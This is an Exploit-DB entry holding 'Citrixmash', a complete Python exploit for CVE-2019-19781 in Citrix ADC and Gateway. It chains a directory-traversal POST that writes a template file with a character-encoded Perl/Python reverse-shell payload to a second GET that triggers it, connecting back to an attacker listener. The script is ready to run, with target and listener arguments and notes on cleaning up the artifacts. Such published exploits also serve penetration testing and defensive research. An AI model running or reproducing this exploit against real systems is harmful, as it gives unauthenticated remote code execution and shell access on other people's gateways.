Citrix Application Delivery Controller and Citrix Gateway - Remote Code Execution

EDB-ID:

47902




Platform:

Multiple

Date:

2020-01-11


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#!/usr/bin/python3
#
# Exploits the Citrix Directory Traversal Bug: CVE-2019-19781
#
# You only need a listener like netcat to catch the shell.
#
# Shout out to the team: Rob Simon, Justin Elze, Logan Sampson, Geoff Walton, Christopher Paschen, Kevin Haubris, Scott White
#
# Tool Written by: Rob Simon and David Kennedy

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # disable warnings
import random
import string
import time
from random import randint
import argparse
import sys

# random string generator
def randomString(stringLength=10):
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(stringLength))

# our random string for filename - will leave artifacts on system
filename = randomString()
randomuser = randomString()

# generate random number for the nonce
nonce = randint(5, 15) 

# this is our first stage which will write out the file through the Citrix traversal issue and the newbm.pl script
# note that the file location will be in /netscaler/portal/templates/filename.xml
def stage1(filename, randomuser, nonce, victimip, victimport, attackerip, attackerport):

    # encoding our payload stub for one netcat listener - awesome work here Rob Simon (KC)
    encoded = ""
    i=0
    text = ("""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""" % (attackerip, attackerport))
    while i < len(text):
        encoded = encoded + "chr("+str(ord(text[i]))+") . "
        i += 1
    encoded = encoded[:-3]
    payload="[% template.new({'BLOCK'='print readpipe(" + encoded + ")'})%]"
    headers = ( 
        {
            'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0',
            'NSC_USER' : '../../../netscaler/portal/templates/%s' % (filename),
            'NSC_NONCE' : '%s' % (nonce),
        })

    data = (
        {
            "url" : "127.0.0.1",
            "title" : payload,
            "desc" : "desc",
            "UI_inuse" : "a"
        })

    url = ("https://%s:%s/vpn/../vpns/portal/scripts/newbm.pl" % (victimip, victimport))
    requests.post(url, data=data, headers=headers, verify=False)

# this is our second stage that triggers the exploit for us
def stage2(filename, randomuser, nonce, victimip, victimport):
    headers = (
        {
            'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0',
            'NSC_USER' : '%s' % (randomuser),
            'NSC_NONCE' : '%s' % (nonce),
        })

    requests.get("https://%s:%s/vpn/../vpns/portal/%s.xml" % (victimip, victimport, filename), headers=headers, verify=False)


# start our main code to execute
print('''

  .o oOOOOOOOo                                            OOOo
    Ob.OOOOOOOo  OOOo.      oOOo.                      .adOOOOOOO
    OboO"""""""""""".OOo. .oOOOOOo.    OOOo.oOOOOOo.."""""""""'OO
    OOP.oOOOOOOOOOOO "POOOOOOOOOOOo.   `"OOOOOOOOOP,OOOOOOOOOOOB'
    `O'OOOO'     `OOOOo"OOOOOOOOOOO` .adOOOOOOOOO"oOOO'    `OOOOo
    .OOOO'            `OOOOOOOOOOOOOOOOOOOOOOOOOO'            `OO
    OOOOO                 '"OOOOOOOOOOOOOOOO"`                oOO
   oOOOOOba.                .adOOOOOOOOOOba               .adOOOOo.
  oOOOOOOOOOOOOOba.    .adOOOOOOOOOO@^OOOOOOOba.     .adOOOOOOOOOOOO
 OOOOOOOOOOOOOOOOO.OOOOOOOOOOOOOO"`  '"OOOOOOOOOOOOO.OOOOOOOOOOOOOO
 "OOOO"       "YOoOOOOMOIONODOO"`  .   '"OOROAOPOEOOOoOY"     "OOO"
    Y           'OOOOOOOOOOOOOO: .oOOo. :OOOOOOOOOOO?'         :`
    :            .oO%OOOOOOOOOOo.OOOOOO.oOOOOOOOOOOOO?         .
    .            oOOP"%OOOOOOOOoOOOOOOO?oOOOOO?OOOO"OOo
                 '%o  OOOO"%OOOO%"%OOOOO"OOOOOO"OOO':
                      `$"  `OOOO' `O"Y ' `OOOO'  o             .
    .                  .     OP"          : o     .
                              :

Citrixmash v0.1 - Exploits the Citrix Directory Traversal Bug: CVE-2019-19781
Tool Written by: Rob Simon and Dave Kennedy
Contributions: The TrustedSec Team 
Website: https://www.trustedsec.com
INFO: https://www.trustedsec.com/blog/critical-exposure-in-citrix-adc-netscaler-unauthenticated-remote-code-execution/

This tool exploits a directory traversal bug within Citrix ADC (NetScalers) which calls a perl script that is used
to append files in an XML format to the victim machine. This in turn allows for remote code execution.

Be sure to cleanup these two file locations:
    /var/tmp/netscaler/portal/templates/
    /netscaler/portal/templates/

Usage:

python citrixmash.py <victimipaddress> <victimport> <attacker_listener> <attacker_port>\n''')

# parse our commands
parser = argparse.ArgumentParser()
parser.add_argument("target", help="the vulnerable server with Citrix (defaults https)")
parser.add_argument("targetport", help="the target server web port (normally on 443)")
parser.add_argument("attackerip", help="the attackers reverse listener IP address")
parser.add_argument("attackerport", help="the attackersa reverse listener port")
args = parser.parse_args()
print("[*] Firing STAGE1 POST request to create the XML template exploit to disk...")
print("[*] Saving filename as %s.xml on the victim machine..." % (filename))
# trigger our first post
stage1(filename, randomuser, nonce, args.target, args.targetport, args.attackerip, args.attackerport)
print("[*] Sleeping for 2 seconds to ensure file is written before we call it...")
time.sleep(2)
print("[*] Triggering GET request for the newly created file with a listener waiting...")
print("[*] Shell should now be in your listener... enjoy. Keep this window open..")
print("[!] Be sure to cleanup the two locations here (artifacts): /var/tmp/netscaler/portal/templates/, /netscaler/portal/templates/")
# trigger our second post
stage2(filename, randomuser, nonce, args.target, args.targetport)